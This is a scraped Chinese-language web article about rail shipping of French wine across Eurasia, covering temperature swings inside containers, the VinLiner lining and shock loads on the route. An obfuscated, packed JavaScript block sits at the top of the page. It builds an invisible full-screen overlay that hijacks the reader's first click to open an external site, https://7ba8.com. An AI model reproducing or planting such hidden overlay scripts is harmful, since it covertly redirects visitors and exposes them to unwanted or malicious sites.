<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在欧亚大陆运送葡萄酒等敏感产品，面临的主要挑战之一就是气候。中亚地区很容易出现极端天气，而在这种开放的区域内移动的集装箱，根据季节不同，不得不经受烈日的酷暑或冰天雪地的寒冷。因此，最初的测试主要集中在全程监控温度，以确保葡萄酒不会变得太热或太冷。
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法国葡萄酒
研究人员发现，在5月中旬，容器外的温度在整个旅程中从6°C~35°C不等，而在容器内，温度变化的区间却是-2°C~58°C。在这种温度情况下，葡萄酒是无法保持质量的。
因此，JF Hillebrand和Groupe InterRail在使用的集装箱内配备了一种特殊的箔条，称为VinLiner。它可以调节容器内部的温度和湿度。工作情况下，VinLiner的温度保持在9°C~32°C之间，而容器中的葡萄酒可以保持在25/29°C的舒适温度。
其结果是:葡萄酒或包装都没有受到损害。成功！
然而，用于这批货的铝箔专列只能在春秋季节使用。其他季节，欧洲葡萄酒生产商需要依赖于冷藏集装箱的温度控制——例如由Unit 45制造的集装箱。
JF Hillebrand和Groupe InterRail在这次测试中监测到的另一件事是，在这11,000多公里的路程中，葡萄酒所需要承受的压力是多少——这其中有两段不同轨距，并使用不同质量的轨道。他们发现，对容器施加的最大压力约为2Gs——就像过山车一样。这是由于哈萨克斯坦和中国的铁路建设质量不佳，但最终没有对运输造成不利影响，因为瓶子之间准备了是充分的保护材料。
那么就这么说完就完了吗？
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原文地址：https://www.novavisa.cn/htm/a11934.html |
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